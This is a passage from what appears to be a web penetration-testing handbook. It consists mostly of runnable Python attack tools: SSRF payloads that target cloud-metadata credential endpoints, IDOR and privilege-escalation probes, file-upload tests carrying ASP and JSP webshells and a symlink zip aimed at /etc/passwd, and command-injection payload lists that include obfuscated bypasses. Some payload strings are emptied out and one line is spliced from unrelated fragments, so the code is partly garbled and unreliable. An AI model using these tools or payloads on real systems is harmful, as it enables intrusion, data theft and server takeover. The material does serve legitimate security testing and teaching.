'mysql://127.0.0.1:3306/',\n                'postgresql://127.0.0.1:5432/'\n            ],\n            'bypass': [\n                'http://127.0.0.1#.evil.com',\n                'http://127.0.0.1@evil.com',\n                'http://evil.com@127.0.0.1',\n                'http://127.0.0.1.evil.com',\n                'http://localhost.evil.com',\n                'http://evil.com/127.0.0.1',\n                'http://127.0.0.1:80@evil.com:80',\n                'https://127.0.0.1/',\n                'http://[::1]/',\n                'http://0x7f000001/',  # Hex representation\n                'http://0177.0.0.1/',  # Octal\n                'http://2130706433/',   # Decimal\n                'http://127.0.0.1.nip.io/',\n                'http://localtest.me/'\n            ]\n        }\n    \n    def test_ssrf(self, payloads):\n        \"\"\"Test for SSRF vulnerability\"\"\"\n        \n        results = []\n        \n        for category, payload_list in payloads.items():\n            print(f\"[*] Testing {category} payloads...\")\n            \n            for payload in payload_list:\n                # Prepare request based on method\n                if self.method.upper() == 'GET':\n                    url = f\"{self.target_url}?{self.param_name}={payload}\"\n                    response = requests.get(url, timeout=5, allow_redirects=False)\n                elif self.method.upper() == 'POST':\n                    data = {self.param_name: payload}\n                    response = requests.post(self.target_url, data=data, timeout=5)\n                else:\n                    response = None\n                    \n                if response:\n                    # Check for indicators of successful SSRF\n                    indicators = self.check_ssrf_indicators(response, payload)\n                    \n                    if indicators:\n                        results.append({\n                            'category': category,\n                            'payload': payload,\n                            'status_code': response.status_code,\n                            'indicators': indicators,\n                            'response_length': len(response.text)\n                        })\n                        \n        self.vulnerabilities = results\n        return results\n    \n    def check_ssrf_indicators(self, response, payload):\n        \"\"\"Check for SSRF success indicators\"\"\"\n        \n        indicators = []\n        \n        # Common internal service fingerprints\n        fingerprints = {\n            'AWS': ['iam', 'instance-id', 'meta-data', 'local-ipv4'],\n            'MySQL': ['mysql', 'MariaDB', 'SQL syntax'],\n            'Redis': ['redis_version', 'redis_mode'],\n            'MongoDB': ['MongoDB', 'wire version'],\n            'Elasticsearch': ['elasticsearch', 'cluster_name'],\n            'Docker': ['Docker', 'Containers'],\n            'Kubernetes': ['kubernetes', 'kube-system'],\n            'Apache': ['Apache', 'It works'],\n            'Nginx': ['nginx', 'Welcome to nginx'],\n            'IIS': ['IIS', 'Internet Information Services'],\n            'SSH': ['SSH-2.0', 'OpenSSH'],\n            'FTP': ['FTP', '220', '230 Login successful']\n        }\n        \n        # Check response for fingerprints\n        response_text = response.text.lower()\n        for service, fingerprints_list in fingerprints.items():\n            for fingerprint in fingerprints_list:\n                if fingerprint.lower() in response_text:\n                    indicators.append(f\"Detected {service}: {fingerprint}\")\n                    \n        # Check for file contents\n        if '/etc/passwd' in payload and 'root:' in response.text:\n            indicators.append(\"File read successful: /etc/passwd\")\n            \n        if 'win.ini' in payload and '[fonts]' in response.text:\n            indicators.append(\"File read successful: windows/win.ini\")\n            \n        # Check for error messages that indicate attempted connection\n        error_indicators = [\n            'Connection refused',\n            'Connection timed out',\n            'Network is unreachable',\n            'Failed to connect',\n            'Unable to connect'\n        ]\n        \n        for error in error_indicators:\n            if error.lower() in response_text:\n                indicators.append(f\"Error indicates attempted connection: {error}\")\n                \n        # Check for modified response (different from baseline)\n        baseline = requests.get(self.target_url)\n        if abs(len(response.text) - len(baseline.text)) &gt; 100:\n            indicators.append(\"Response length differs significantly from baseline\")\n            \n        return indicators\n    \n    def test_cloud_metadata(self):\n        \"\"\"Specifically test for cloud metadata endpoints\"\"\"\n        \n        cloud_endpoints = {\n            'AWS': [\n                'http://169.254.169.254/latest/meta-data/',\n                'http://169.254.169.254/latest/user-data/',\n                'http://169.254.169.254/latest/meta-data/iam/security-credentials/'\n            ],\n            'GCP': [\n                'http://metadata.google.internal/computeMetadata/v1/',\n                'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/'\n            ],\n            'Azure': [\n                'http://169.254.169.254/metadata/instance?api-version=2017-08-01',\n                'http://169.254.169.254/metadata/identity/oauth2/token'\n            ],\n            'DigitalOcean': [\n                'http://169.254.169.254/metadata/v1.json'\n            ],\n            'Aliyun': [\n                'http://100.100.100.200/latest/meta-data/'\n            ]\n        }\n        \n        results = {}\n        \n        for cloud, endpoints in cloud_endpoints.items():\n            results[cloud] = []\n            \n            for endpoint in endpoints:\n                if self.method.upper() == 'GET':\n                    url = f\"{self.target_url}?{self.param_name}={endpoint}\"\n                    \n                    try:\n                        response = requests.get(url, timeout=5,\n                                              headers={'Metadata-Flavor': 'Google'})\n                        \n                        if response.status_code == 200 and len(response.text) &gt; 0:\n                            results[cloud].append({\n                                'endpoint': endpoint,\n                                'status': response.status_code,\n                                'data_preview': response.text[:200]\n                            })\n                    except:\n                        pass\n                        \n        return results\n    \n    def test_internal_port_scan(self, ip_range='127.0.0.1', ports=None):\n        \"\"\"Use SSRF to scan internal ports\"\"\"\n        \n        if ports is None:\n            ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]\n            \n        results = []\n        \n        for port in ports:\n            payload = f\"http://{ip_range}:{port}\"\n            url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                response = requests.get(url, timeout=3)\n                \n                # Different response might indicate open port\n                results.append({\n                    'port': port,\n                    'status_code': response.status_code,\n                    'response_length': len(response.text),\n                    'likely_open': response.status_code != 500 or 'Connection refused' not in response.text\n                })\n            except requests.Timeout:\n                results.append({\n                    'port': port,\n                    'error': 'timeout',\n                    'likely_open': True\n                })\n            except:\n                results.append({\n                    'port': port,\n                    'error': 'exception',\n                    'likely_open': False\n                })\n                \n        return results\n\n# Example usage\ntester = SSRFTester('https://example.com/fetch', 'url')\npayloads = tester.generate_payloads()\n\nprint(\"[*] Testing for SSRF vulnerabilities...\")\nresults = tester.test_ssrf(payloads)\n\nif results:\n    print(f\"\\n[!] Found {len(results)} potential SSRF vulnerabilities:\")\n    for result in results:\n        print(f\"  - {result['category']}: {result['payload']}\")\n        print(f\"    Status: {result['status_code']}\")\n        for indicator in result['indicators']:\n            print(f\"    [!] {indicator}\")\n\n# Test cloud metadata\nprint(\"\\n[*] Testing cloud metadata endpoints...\")\ncloud_results = tester.test_cloud_metadata()\nfor cloud, endpoints in cloud_results.items():\n    if endpoints:\n        print(f\"  [!] {cloud} metadata accessible!\")\n        for endpoint in endpoints:\n            print(f\"    - {endpoint['endpoint']}\")\n```\n\n### 13.5 Insecure Direct Object References (IDOR)\n\nIDOR vulnerabilities occur when an application exposes direct references to internal objects, allowing attackers to access unauthorized data.\n\n#### 13.5.1 IDOR Detection\n\n```python\n#!/usr/bin/env python3\n# idor_tester.py\n\nimport requests\nimport itertools\nfrom urllib.parse import urljoin\n\nclass IDORTester:\n    def __init__(self, base_url, auth_cookies=None):\n        self.base_url = base_url\n        self.session = requests.Session()\n        if auth_cookies:\n            self.session.cookies.update(auth_cookies)\n        self.vulnerabilities = []\n        \n    def test_numeric_id(self, endpoint, id_param='id', start=1, end=100):\n        \"\"\"Test numeric ID enumeration\"\"\"\n        \n        url_template = f\"{self.base_url}/{endpoint}?{id_param}=\"\n        \n        # First, get baseline with known valid ID\n        try:\n            response = self.session.get(f\"{url_template}{start}\")\n            baseline_length = len(response.text)\n            baseline_status = response.status_code\n        except:\n            baseline_length = 0\n            baseline_status = 404\n            \n        found = []\n        \n        for i in range(start, end + 1):\n            url = f\"{url_template}{i}\"\n            \n            try:\n                response = self.session.get(url)\n                \n                # Check if response differs from baseline\n                if response.status_code != baseline_status or abs(len(response.text) - baseline_length) &gt; 50:\n                    found.append({\n                        'id': i,\n                        'url': url,\n                        'status_code': response.status_code,\n                        'length': len(response.text)\n                    })\n                    \n                    # Check if we can access without auth (test with new session)\n                    anon_session = requests.Session()\n                    anon_response = anon_session.get(url)\n                    \n                    if anon_response.status_code == 200:\n                        self.vulnerabilities.append({\n                            'type': 'IDOR - No Authentication Required',\n                            'url': url,\n                            'id': i\n                        })\n                        \n            except Exception as e:\n                print(f\"Error testing ID {i}: {e}\")\n                \n        return found\n    \n    def test_uuid_patterns(self, endpoint, known_uuid):\n        \"\"\"Test UUID patterns\"\"\"\n        \n        # Common UUID patterns\n        patterns = [\n            known_uuid.replace('-', ''),\n            known_uuid.replace('a', 'b'),\n            known_uuid.replace('1', '2'),\n            known_uuid[:-5] + '00000' + known_uuid[-5:],\n            known_uuid[:14] + '0' * 4 + known_uuid[18:]\n        ]\n        \n        found = []\n        \n        for pattern in patterns:\n            url = f\"{self.base_url}/{endpoint}/{pattern}\"\n            \n            try:\n                response = self.session.get(url)\n                \n                if response.status_code == 200:\n                    found.append({\n                        'url': url,\n                        'pattern': pattern,\n                        'status': response.status_code\n                    })\n            except:\n                pass\n                \n        return found\n    \n    def test_horizontal_privilege_escalation(self, endpoint, your_id, id_param='user_id'):\n        \"\"\"Test accessing other users' data\"\"\"\n        \n        # Try IDs around your own\n        test_ids = [your_id + i for i in range(-5, 6) if your_id + i != your_id]\n        \n        # Try sequential IDs\n        test_ids.extend([1, 2, 3, 4, 5, 10, 100])\n        \n        # Try common admin IDs\n        test_ids.extend([0, 1, 999, 1000, 9999, 10000])\n        \n        results = []\n        \n        # Get your own data first as baseline\n        your_url = f\"{self.base_url}/{endpoint}?{id_param}={your_id}\"\n        your_response = self.session.get(your_url)\n        your_data_length = len(your_response.text)\n        \n        for test_id in test_ids:\n            url = f\"{self.base_url}/{endpoint}?{id_param}={test_id}\"\n            \n            try:\n                response = self.session.get(url)\n                \n                # If we get data and it's different from our own\n                if response.status_code == 200 and len(response.text) &gt; 0:\n                    if abs(len(response.text) - your_data_length) &gt; 50:\n                        results.append({\n                            'id': test_id,\n                            'url': url,\n                            'length': len(response.text)\n                        })\n                        \n                        self.vulnerabilities.append({\n                            'type': 'IDOR - Horizontal Privilege Escalation',\n                            'url': url,\n                            'accessed_id': test_id,\n                            'your_id': your_id\n                        })\n            except:\n                pass\n                \n        return results\n    \n    def test_vertical_privilege_escalation(self, endpoint, your_role='user'):\n        \"\"\"Test accessing admin-level functions\"\"\"\n        \n        admin_endpoints = [\n            '/admin',\n            '/admin/users',\n            '/admin/settings',\n            '/administrator',\n            '/manage',\n            '/management',\n            '/dashboard',\n            '/control-panel',\n            '/console',\n            '/api/admin',\n            '/admin/api/users',\n            '/admin/users/list',\n            '/admin/users/edit',\n            '/admin/config',\n            '/admin/settings/general',\n            '/user/admin',\n            '/users/admin',\n            '/root',\n            '/superuser'\n        ]\n        \n        admin_params = {\n            'admin': 'true',\n            'role': 'admin',\n            'privilege': 'admin',\n            'access': 'admin',\n            'user_type': 'administrator'\n        }\n        \n        results = []\n        \n        # Test direct admin endpoints\n        for admin_endpoint in admin_endpoints:\n            url = urljoin(self.base_url, admin_endpoint)\n            \n            try:\n                response = self.session.get(url)\n                \n                if response.status_code != 403 and response.status_code != 401:\n                    results.append({\n                        'url': url,\n                        'status': response.status_code,\n                        'length': len(response.text)\n                    })\n                    \n                    if response.status_code == 200:\n                        self.vulnerabilities.append({\n                            'type': 'IDOR - Vertical Privilege Escalation',\n                            'url': url,\n                            'description': 'Admin endpoint accessible with user privileges'\n                        })\n            except:\n                pass\n                \n        # Test with admin parameters\n        for endpoint in [endpoint] + admin_endpoints[:5]:\n            for param, value in admin_params.items():\n                url = f\"{self.base_url}{endpoint}?{param}={value}\"\n                \n                try:\n                    response = self.session.get(url)\n                    \n                    if response.status_code != 403 and response.status_code != 401:\n                        results.append({\n                            'url': url,\n                            'param': param,\n                            'value': value,\n                            'status': response.status_code\n                        })\n                except:\n                    pass\n                    \n        return results\n    \n    def test_parameter_manipulation(self, endpoint, original_params):\n        \"\"\"Test manipulation of multiple parameters\"\"\"\n        \n        results = []\n        \n        # Try different parameter combinations\n        for param_name in original_params.keys():\n            # Try removing parameter\n            modified_params = original_params.copy()\n            del modified_params[param_name]\n            \n            url = f\"{self.base_url}/{endpoint}\"\n            try:\n                response = self.session.get(url, params=modified_params)\n                \n                if response.status_code == 200:\n                    results.append({\n                        'type': 'parameter_removal',\n                        'param_removed': param_name,\n                        'url': url\n                    })\n            except:\n                pass\n                \n            # Try modifying parameter values\n            for value in ['1', '0', 'true', 'false', 'admin', 'all', '*']:\n                modified_params = original_params.copy()\n                modified_params[param_name] = value\n                \n                try:\n                    response = self.session.get(url, params=modified_params)\n                    \n                    if response.status_code == 200:\n                        results.append({\n                            'type': 'parameter_modification',\n                            'param': param_name,\n                            'value': value,\n                            'url': url\n                        })\n                except:\n                    pass\n                    \n        return results\n    \n    def test_mass_assignment(self, endpoint, update_data):\n        \"\"\"Test for mass assignment vulnerabilities\"\"\"\n        \n        sensitive_fields = [\n            'admin', 'is_admin', 'role', 'user_role', 'privilege',\n            'permissions', 'group', 'user_group', 'access_level',\n            'account_type', 'user_type', 'membership', 'subscription',\n            'plan', 'tier', 'level', 'rank', 'status',\n            'is_active', 'enabled', 'disabled', 'locked',\n            'balance', 'credit', 'points', 'score',\n            'email_verified', 'verified', 'confirmed'\n        ]\n        \n        results = []\n        \n        for field in sensitive_fields:\n            test_data = update_data.copy()\n            test_data[field] = 'admin' if 'admin' in field.lower() else 'true'\n            \n            try:\n                response = self.session.post(\n                    f\"{self.base_url}/{endpoint}\",\n                    data=test_data\n                )\n                \n                # Check if the update was accepted\n                if response.status_code == 200:\n                    results.append({\n                        'field': field,\n                        'value': test_data[field],\n                        'status': response.status_code\n                    })\n                    \n                    # Verify if the field was actually updated\n                    verify_response = self.session.get(f\"{self.base_url}/{endpoint}\")\n                    if field in verify_response.text:\n                        self.vulnerabilities.append({\n                            'type': 'Mass Assignment',\n                            'field': field,\n                            'value': test_data[field]\n                        })\n            except:\n                pass\n                \n        return results\n    \n    def generate_report(self):\n        \"\"\"Generate IDOR vulnerability report\"\"\"\n        \n        report = {\n            'total_vulnerabilities': len(self.vulnerabilities),\n            'vulnerabilities': self.vulnerabilities,\n            'recommendations': [\n                \"Implement proper access control checks for all object references\",\n                \"Use indirect references (e.g., maps, hashes) instead of direct IDs\",\n                \"Validate user permissions before returning any data\",\n                \"Implement random, unpredictable IDs where possible\",\n                \"Add logging for unauthorized access attempts\",\n                \"Use role-based access control (RBAC) consistently\"\n            ]\n        }\n        \n        return report\n\n# Example usage\ntester = IDORTester('https://example.com/api', {'session': 'user_session'})\n\nprint(\"[*] Testing horizontal privilege escalation...\")\nhorizontal_results = tester.test_horizontal_privilege_escalation('users', 123)\n\nprint(\"[*] Testing vertical privilege escalation...\")\nvertical_results = tester.test_vertical_privilege_escalation('profile')\n\nprint(\"[*] Testing numeric ID enumeration...\")\nnumeric_results = tester.test_numeric_id('documents', 'id', 1, 50)\n\nif tester.vulnerabilities:\n    print(f\"\\n[!] Found {len(tester.vulnerabilities)} IDOR vulnerabilities:\")\n    for vuln in tester.vulnerabilities:\n        print(f\"  - {vuln['type']}: {vuln.get('url', vuln.get('field', 'N/A'))}\")\n```\n\n\n### 13.6 File Upload Attacks\n```python\n        # ASP webshell\n        test_files['asp_webshell'] = {\n            'content': '&lt;% Execute(Request(\"cmd\")) %&gt;',\n            'filename': 'shell.asp',\n            'mime': 'application/x-as'\n        }\n        \n        # JSP webshell\n        test_files['jsp_webshell'] = {\n            'content': '&lt;% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %&gt;',\n            'filename': 'shell.jsp',\n            'mime': 'application/x-jsp'\n        }\n        \n        # Python script\n        test_files['python_script'] = {\n            'content': 'print(\"Hello\")',\n            'filename': 'test.py',\n            'mime': 'text/x-python'\n        }\n        \n        # JavaScript file\n        test_files['javascript'] = {\n            'content': 'alert(\"XSS\")',\n            'filename': 'test.js',\n            'mime': 'application/javascript'\n        }\n        \n        # HTML file with XSS\n        test_files['html_xss'] = {\n            'content': 'alert(\"XSS\")',\n            'filename': 'xss.html',\n            'mime': 'text/html'\n        }\n        \n        # SVG with embedded script\n        test_files['svg_xss'] = {\n            'content': '''\n\n\n   \n      alert(\"XSS\");\n   \n   \n''',\n            'filename': 'xss.svg',\n            'mime': 'image/svg+xml'\n        }\n        \n        # Valid image with PHP payload in comments\n        test_files['image_with_php'] = {\n            'content': None,  # Will be created from actual image\n            'filename': 'image.php.jpg',\n            'mime': 'image/jpeg',\n            'type': 'create_from_image'\n        }\n        \n        # Empty file\n        test_files['empty'] = {\n            'content': '',\n            'filename': 'empty.txt',\n            'mime': 'text/plain'\n        }\n        \n        # Very large file (potential DoS)\n        test_files['large'] = {\n            'content': 'A' * 10 * 1024 * 1024,  # 10MB\n            'filename': 'large.txt',\n            'mime': 'text/plain'\n        }\n        \n        # Directory traversal attempt\n        test_files['path_traversal'] = {\n            'content': 'test',\n            'filename': '../../../etc/passwd',\n            'mime': 'text/plain'\n        }\n        \n        # Null byte injection\n        test_files['null_byte'] = {\n            'content': 'test',\n            'filename': 'shell.php%00.jpg',\n            'mime': 'image/jpeg'\n        }\n        \n        # ZIP file with symlink\n        test_files['zip_symlink'] = {\n            'content': None,  # Will create ZIP\n            'filename': 'symlink.zip',\n            'mime': 'application/zip',\n            'type': 'create_zip'\n        }\n        \n        return test_files\n    \n    def create_image_with_payload(self, image_path, payload):\n        \"\"\"Embed payload in image metadata\"\"\"\n        try:\n            from PIL import Image, PngImagePlugin\n            \n            # Open image\n            img = Image.open(image_path)\n            \n            # Add comment with payload\n            if image_path.lower().endswith('.png'):\n                meta = PngImagePlugin.PngInfo()\n                meta.add_text('Comment', payload)\n                img.save('payload_image.png', pnginfo=meta)\n                return 'payload_image.png'\n            else:\n                # For JPEG, store in comment\n                img.save('payload_image.jpg', comment=payload)\n                return 'payload_image.jpg'\n        except Exception as e:\n            print(f\"Error creating image: {e}\")\n            return None\n    \n    def create_zip_with_symlink(self, target_file):\n        \"\"\"Create ZIP file with symlink pointing to sensitive file\"\"\"\n        import zipfile\n        import os\n        \n        zip_filename = 'symlink.zip'\n        \n        with zipfile.ZipFile(zip_filename, 'w') as zf:\n            # Create symlink info (platform dependent)\n            zip_info = zipfile.ZipInfo('../../../../etc/passwd')\n            zip_info.create_system = 3  # Unix\n            zip_info.external_attr = 0o120777 &lt;&lt; 16  # Symlink\n            zf.writestr(zip_info, target_file)\n            \n        return zip_filename\n    \n    def test_upload(self, test_files):\n        \"\"\"Test file upload functionality\"\"\"\n        \n        results = []\n        \n        for test_name, file_info in test_files.items():\n            print(f\"[*] Testing: {test_name}\")\n            \n            try:\n                # Handle special file types\n                if file_info.get('type') == 'create_from_image':\n                    # Download a valid image first\n                    img_response = requests.get('https://via.placeholder.com/150')\n                    with open('base_image.jpg', 'wb') as f:\n                        f.write(img_response.content)\n                    \n                    # Create image with PHP payload\n                    payload_image = self.create_image_with_payload(\n                        'base_image.jpg',\n                        ''\n                    )\n                    \n                    if payload_image:\n                        with open(payload_image, 'rb') as f:\n                            files = {self.file_param: (file_info['filename'], f, file_info['mime'])}\n                            response = requests.post(self.upload_url, files=files)\n                elif file_info.get('type') == 'create_zip':\n                    zip_file = self.create_zip_with_symlink('/etc/passwd')\n                    with open(zip_file, 'rb') as f:\n                        files = {self.file_param: (file_info['filename'], f, file_info['mime'])}\n                        response = requests.post(self.upload_url, files=files)\n                else:\n                    # Regular file upload\n                    files = {\n                        self.file_param: (\n                            file_info['filename'],\n                            file_info['content'].encode() if isinstance(file_info['content'], str) else file_info['content'],\n                            file_info['mime']\n                        )\n                    }\n                    response = requests.post(self.upload_url, files=files)\n                \n                # Analyze response\n                result = self.analyze_response(response, test_name, file_info)\n                results.append(result)\n                \n                # Check if file was actually stored and is accessible\n                self.check_file_access(response, test_name, file_info)\n                \n            except Exception as e:\n                print(f\"  Error: {e}\")\n                results.append({\n                    'test': test_name,\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def analyze_response(self, response, test_name, file_info):\n        \"\"\"Analyze upload response\"\"\"\n        \n        result = {\n            'test': test_name,\n            'filename': file_info['filename'],\n            'status_code': response.status_code,\n            'success': response.status_code in [200, 201, 302]\n        }\n        \n        # Check for reflected filename\n        if file_info['filename'] in response.text:\n            result['filename_reflected'] = True\n            self.vulnerabilities.append({\n                'type': 'Filename Reflection',\n                'test': test_name,\n                'filename': file_info['filename']\n            })\n        \n        # Check for path disclosure\n        path_indicators = ['/var/www/', 'C:\\\\', '/home/', '/upload/']\n        for indicator in path_indicators:\n            if indicator in response.text:\n                result['path_disclosure'] = indicator\n                self.vulnerabilities.append({\n                    'type': 'Path Disclosure',\n                    'test': test_name,\n                    'path': indicator\n                })\n                break\n        \n        # Check for error messages\n        error_indicators = ['error', 'warning', 'fatal', 'exception', 'stack trace']\n        for indicator in error_indicators:\n            if indicator in response.text.lower():\n                result['error_message'] = indicator\n                break\n                \n        return result\n    \n    def check_file_access(self, response, test_name, file_info):\n        \"\"\"Check if uploaded file is accessible\"\"\"\n        \n        # Try to determine upload path from response\n        import re\n        \n        upload_paths = []\n        \n        # Look for URL in response\n        url_pattern = r'(https?://[^\\s\"\\']+)'\n        urls = re.findall(url_pattern, response.text)\n        upload_paths.extend(urls)\n        \n        # Look for file path\n        path_pattern = r'(/uploads?/[^\\s\"\\']+)'\n        paths = re.findall(path_pattern, response.text)\n        upload_paths.extend([f\"{self.upload_url.split('/api')[0]}{p}\" for p in paths])\n        \n        # Try common upload paths\n        common_paths = [\n            '/uploads/',\n            '/upload/',\n            '/files/',\n            '/media/',\n            '/images/',\n            '/img/',\n            '/assets/uploads/',\n            '/content/uploads/',\n            '/wp-content/uploads/',\n            '/files/uploads/',\n            '/upload/files/'\n        ]\n        \n        base_url = '/'.join(self.upload_url.split('/')[:3])  # Get base URL\n        \n        for path in common_paths:\n            file_url = f\"{base_url}{path}{file_info['filename']}\"\n            upload_paths.append(file_url)\n            \n        # Try to access the file\n        for file_url in upload_paths[:10]:  # Limit attempts\n            try:\n                response = requests.get(file_url, timeout=3)\n                \n                if response.status_code == 200:\n                    self.vulnerabilities.append({\n                        'type': 'File Accessible',\n                        'test': test_name,\n                        'url': file_url,\n                        'content_type': response.headers.get('Content-Type', 'unknown')\n                    })\n                    \n                    # Check if file executes\n                    if 'php' in file_info['filename'] and '',\n                'headers': {'Content-Type': 'image/jpeg'}\n            },\n            {\n                'name': 'Double Extension',\n                'filename': 'shell.php.jpg',\n                'content': '',\n                'headers': {'Content-Type': 'image/jpeg'}\n            },\n            {\n                'name': 'Case Manipulation',\n                'filename': 'shell.PhP',\n                'content': '',\n                'headers': {'Content-Type': 'application/x-php'}\n            },\n            {\n                'name': 'Whitespace in Name',\n                'filename': 'shell.php .jpg',\n                'content': '',\n                'headers': {'Content-Type': 'image/jpeg'}\n            },\n            {\n                'name': 'Control Characters',\n                'filename': 'shell.php%00.jpg',\n                'content': '',\n                'headers': {'Content-Type': 'image/jpeg'}\n            },\n            {\n                'name': 'MIME Type Confusion',\n                'filename': 'shell.php',\n                'content': 'GIF89a',\n                'headers': {'Content-Type': 'image/gif'}\n            },\n            {\n                'name': 'Content-Length Bypass',\n                'filename': 'shell.php',\n                'content': '' + ' ' * 1000,\n                'headers': {'Content-Type': 'image/jpeg'}\n            }\n        ]\n        \n        results = []\n        \n        for test in bypass_tests:\n            print(f\"[*] Testing bypass: {test['name']}\")\n            \n            files = {\n                self.file_param: (test['filename'], test['content'], test['headers']['Content-Type'])\n            }\n            \n            try:\n                response = requests.post(self.upload_url, files=files, headers=test['headers'])\n                \n                if response.status_code in [200, 201, 302]:\n                    results.append({\n                        'test': test['name'],\n                        'success': True,\n                        'status_code': response.status_code\n                    })\n                    \n                    self.vulnerabilities.append({\n                        'type': 'Upload Bypass',\n                        'technique': test['name'],\n                        'filename': test['filename']\n                    })\n            except Exception as e:\n                results.append({\n                    'test': test['name'],\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def generate_report(self):\n        \"\"\"Generate file upload vulnerability report\"\"\"\n        \n        report = {\n            'total_vulnerabilities': len(self.vulnerabilities),\n            'vulnerabilities': self.vulnerabilities,\n            'recommendations': [\n                \"Validate file content, not just MIME type\",\n                \"Store files outside webroot\",\n                \"Use random filenames\",\n                \"Implement virus scanning\",\n                \"Restrict file permissions\",\n                \"Validate file size\",\n                \"Implement content security policy\",\n                \"Use separate domain for uploaded files\",\n                \"Disable execution in upload directories\",\n                \"Implement file type whitelisting\"\n            ]\n        }\n        \n        # Categorize vulnerabilities\n        categories = {}\n        for vuln in self.vulnerabilities:\n            vuln_type = vuln['type']\n            if vuln_type not in categories:\n                categories[vuln_type] = 0\n            categories[vuln_type] += 1\n            \n        report['categories'] = categories\n        \n        return report\n\n# Example usage\ntester = FileUploadTester('https://example.com/upload.php')\n\n# Create test files\ntest_files = tester.create_test_files()\n\n# Run tests\nprint(\"[*] Testing file upload functionality...\")\nupload_results = tester.test_upload(test_files)\n\nprint(\"[*] Testing bypass techniques...\")\nbypass_results = tester.test_bypass_techniques()\n\n# Generate report\nreport = tester.generate_report()\nprint(json.dumps(report, indent=2))\n```\n\n### 13.7 Command Injection\n\nCommand injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.\n\n#### 13.7.1 Command Injection Detection\n\n```python\n#!/usr/bin/env python3\n# command_injection_tester.py\n\nimport requests\nimport urllib.parse\nimport time\nimport re\n\nclass CommandInjectionTester:\n    def __init__(self, target_url, param_name, method='GET'):\n        self.target_url = target_url\n        self.param_name = param_name\n        self.method = method\n        self.vulnerabilities = []\n        \n    def generate_payloads(self):\n        \"\"\"Generate command injection payloads\"\"\"\n        \n        return {\n            'basic': [\n                '; ls',\n                '| ls',\n                '|| ls',\n                '&amp; ls',\n                '&amp;&amp; ls',\n                '`ls`',\n                '$(ls)',\n                '; ls -la',\n                '| ls -la',\n                '&amp; ls -la',\n                '; id',\n                '| id',\n                '&amp; id',\n                '; whoami',\n                '| whoami',\n                '&amp; whoami',\n                '; pwd',\n                '| pwd',\n                '&amp; pwd'\n            ],\n            'time_based': [\n                '; sleep 5',\n                '| sleep 5',\n                '&amp; sleep 5',\n                '&amp;&amp; sleep 5',\n                '`sleep 5`',\n                '$(sleep 5)',\n                '; ping -c 5 127.0.0.1',\n                '| ping -c 5 127.0.0.1',\n                '&amp; ping -c 5 127.0.0.1',\n                '; timeout 5',\n                '| timeout 5',\n                '&amp; ping -n 5 127.0.0.1',  # Windows\n                '&amp; ping -t 5 127.0.0.1'    # Windows\n            ],\n            'output_extraction': [\n                '; echo START_TOKEN$(ls)END_TOKEN',\n                '| echo START_TOKEN$(ls)END_TOKEN',\n                '; cat /etc/passwd',\n                '| cat /etc/passwd',\n                '; type C:\\\\Windows\\\\win.ini',\n                '| type C:\\\\Windows\\\\win.ini',\n                '; echo START_TOKEN; ls; echo END_TOKEN',\n                '| echo START_TOKEN; ls; echo END_TOKEN'\n            ],\n            'bypass_attempts': [\n                '; ls #',\n                '; ls %0a',\n                '; ls %0d%0a',\n                '; ls %0d',\n                '| ls %0a',\n                '${IFS}ls',\n                ';{ls,}',\n                ';{ls,-la}',\n                ';`echo bHMgLWxh|base64 -d`',\n                ';$(echo bHMgLWxh|base64 -d)',\n                ';cat${IFS}/etc${IFS}passwd',\n                ';cat$IFS/etc/passwd'\n            ],\n            'windows_specific': [\n                '&amp; dir',\n                '| dir',\n                '&amp; type C:\\\\Windows\\\\win.ini',\n                '| type C:\\\\Windows\\\\win.ini',\n                '&amp; ipconfig',\n                '| ipconfig',\n                '&amp; whoami',\n                '| whoami',\n                '&amp; ping -n 5 127.0.0.1',\n                '| ping -n 5 127.0.0.1',\n                '&amp; systeminfo',\n                '| systeminfo'\n            ],\n            'linux_specific': [\n                '; cat /etc/passwd',\n                '| cat /etc/passwd',\n                '; uname -a',\n                '| uname -a',\n                '; ifconfig',\n                '| ifconfig',\n                '; ps aux',\n                '| ps aux',\n                '; netstat -an',\n                '| netstat -an',\n                '; w',\n                '| w'\n            ],\n            'error_based': [\n                '; invalidcommand',\n                '| invalidcommand',\n                '&amp; invalidcommand',\n                '; commandthatdoesnotexist',\n                '| commandthatdoesnotexist'\n            ]\n        }\n    \n    def test_injection(self, payloads):\n        \"\"\"Test for command injection vulnerabilities\"\"\"\n        \n        results = []\n        \n        # Get baseline response for comparison\n        baseline = self.make_request(self.get_normal_request())\n        baseline_time = baseline.get('response_time', 0)\n        \n        for category, payload_list in payloads.items():\n            print(f\"[*] Testing {category} payloads...\")\n            \n            for payload in payload_list:\n                # Make request with payload\n                response = self.make_request(payload)\n                \n                if response:\n                    indicators = self.analyze_response(response, payload, baseline)\n                    \n                    if indicators:\n                        results.append({\n                            'category': category,\n                            'payload': payload,\n                            'indicators': indicators,\n                            'response_time': response.get('response_time', 0)\n                        })\n                        \n                        if 'time_delay' in indicators:\n                            self.vulnerabilities.append({\n                                'type': 'Command Injection (Time-based)',\n                                'payload': payload,\n                                'delay': response.get('response_time', 0) - baseline_time\n                            })\n                        elif 'command_output' in indicators:\n                            self.vulnerabilities.append({\n                                'type': 'Command Injection (Output)',\n                                'payload': payload,\n                                'output_preview': response.get('text', '')[:200]\n                            })\n                        elif 'error_message' in indicators:\n                            self.vulnerabilities.append({\n                                'type': 'Command Injection (Error-based)',\n                                'payload': payload,\n                                'error': response.get('text', '')[:200]\n                            })\n                            \n        return results\n    \n    def make_request(self, payload):\n        \"\"\"Make HTTP request with payload\"\"\"\n        \n        try:\n            start_time = time.time()\n            \n            if self.method.upper() == 'GET':\n                url = f\"{self.target_url}?{self.param_name}={urllib.parse.quote(payload)}\"\n                response = requests.get(url, timeout=10, allow_redirects=False)\n            elif self.method.upper() == 'POST':\n                data = {self.param_name: payload}\n                response = requests.post(self.target_url, data=data, timeout=10)\n            else:\n                return None\n                \n            elapsed_time = time.time() - start_time\n            \n            return {\n                'status_code': response.status_code,\n                'text': response.text,\n                'headers': dict(response.headers),\n                'response_time': elapsed_time,\n                'url': response.url if hasattr(response, 'url') else self.target_url\n            }\n            \n        except requests.Timeout:\n            return {\n                'error': 'timeout',\n                'response_time': 10\n            }\n        except Exception as e:\n            return 